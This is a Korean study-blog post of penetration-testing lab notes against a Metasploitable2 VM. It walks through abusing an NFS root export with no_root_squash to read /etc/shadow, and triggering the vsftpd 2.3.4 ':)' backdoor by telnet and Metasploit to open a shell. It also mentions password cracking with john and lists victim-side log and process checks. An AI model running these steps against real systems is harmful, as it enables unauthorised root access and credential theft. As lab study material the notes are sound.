Study Record

[모의해킹 시스템 취약점] NFS 전체 공유/vsftpd 백도어 본문

모의해킹

[모의해킹 시스템 취약점] NFS 전체 공유/vsftpd 백도어

초코초코초코 2021. 11. 8. 15:27
728x90

1. NFS 전체 공유 취약점

NFS, CIFS/SMB

리눅스 시스템에서 CIFS/SMB 프로토콜을 지원하기 위한 프로그램 => samba software

NFS(Network File System) : Linux 공유 자원을 Linux 클라이언트가 사용하기 위한 파일시스템

 

☞ 잘못된 설정

# cat /mnt/nfs/etc/exports

/ *(rw,sync,no_root_squash,no_subtree_check)

- no_root_squash 옵션은 클라이언트에서 사용자 root로 공유 디렉토리에 접근 시 NFS 서버 시스템에서도 사용자 root로 인식하고 권한을 부여함을 의미한다. 이 옵션이 설정되어 있으면 안된다.

- 전체 공유 (/*) 를 설정하면 안된다.

 

실습

NFS 서비스 확인

# nmap -p 2049 192.168.10.0/24

# nmap -p 2049 -sV -O 192.168.10.134

# nmap -p 2049 -sV -O --script=vulners 192.168.10.134

# nmap -p 2049 -sV -O --script=vulscan/vulscan 192.168.10.134

# rpcinfo -p 192.168.10.134

 

# showmount -e 192.168.10.134

Export list for 192.168.10.134:

/ *

# mount.nfs 192.168.10.134:/ /mnt/nfs

# cat /etc/shadow

: 관리자 계정이라는 것을 알 수 있다.

 

※ 이후 ssh-keygen 을 통해 패스워드 인증 없이 접속할 수 있도록 설정할 수 있다.

2. vsftp 백도어 취약점

Metasploitable2에서는 널리 사용되는 FTP 서버로 vsftpd(vsftpd-2.3.4)가 21번 포트웨서 동작 중이다. 이 프로그램의 특정 버전에서 알려지지 않은 침입자가 소스코드에 넣은 백도어가 들어 있다. 백도어는 빠르게 인식되고 제거되었다. 하지만 상당수의 사람들이 그 프로그램을 다운로드 하기 전에는 발견되지 않았다. 사용자 이름의 끝에 ":)" [ a happy face ]를 보내면 백도어가 포함된 버전에서는 6200 포트에서 리스닝 쉘(listening shell)이 열리게 된다. telnet 명령어를 사용하거나 MSF 모듈을 사용하여 자동으로 악용할수 있음을 시연했다.

이 백도어는 2011년 06월30일부터 2011년 07월01일까지 배포된 vsftpd-2.3.4.tar.gz 아카이브에 존재한다고 최신정보에 따라 소개되었다. 이 백도어는 2011년 07월03일에 제거되었다.

http://pastebin.com/AetT9sS5 페이지에서 취약점 코드 확인 가능

 

실습 명령어

# nmap -sV -p 21 192.168.10.0/24 : vsftpd 서비스 버전 확인하기 (vsftpd-2.3.4)

# telnet 192.168.10.134 21 

Trying 192.168.10.134...

Connected to 192.168.10.134 (192.168.10.134).

Escape character is '^]'.

220 (vsFTPd 2.3.4)

user backdoored:)

331 Please specify the password.

pass invalid

^]

telnet> quit

# nmap -p 6200 192.168.10.134 : 백도어 포트 6200가 열려있는지 확인한다.

# telnet 192.168.10.134 6200 : 백도어로 접근한다.

 

실습 - msfconsole

exploit/unix/ftp/vsftpd_234_backdoor

msf5> search vsftpd

msf5> use exploit/unix/ftp/vsftpd_234_backdoor

msf5> set RHOST 192.168.10.134

msf5> run     # 바로 백도어로 접근한다. 

 

※ 이후 /etc/passwd 와 /etc/shadow 파일을 이용해서 unshadow 명령을 활용하여 john CMD로 암호 크랙을 시도하는 실습을 할 수 있다.

 

피해 시스템에서 분석 작업

# netstat -antup | grep EST

tcp    0     0   192.168.10.134:6200    192.168.10.50:44821     ESTABLISHED  5559/sh

# ps -ef | grep 5559

# pstree -alup 5559

 

- 다음과 같은 명령어들로는 공격자의 흔적을 찾기가 어렵다.

# who (/var/log/utmp)

: 현재 접속자 확인 

# w (/var/log/utmp)

# cat /var/log/messages; cat /var/log/secure; cat /var/log/auth.log

 

- 패킷 분석 관련

# sed -n '/Apr 17 20:30/,/Apr 18 00:00/p' /var/log/messages > resultlog/messages.txt

 

728x90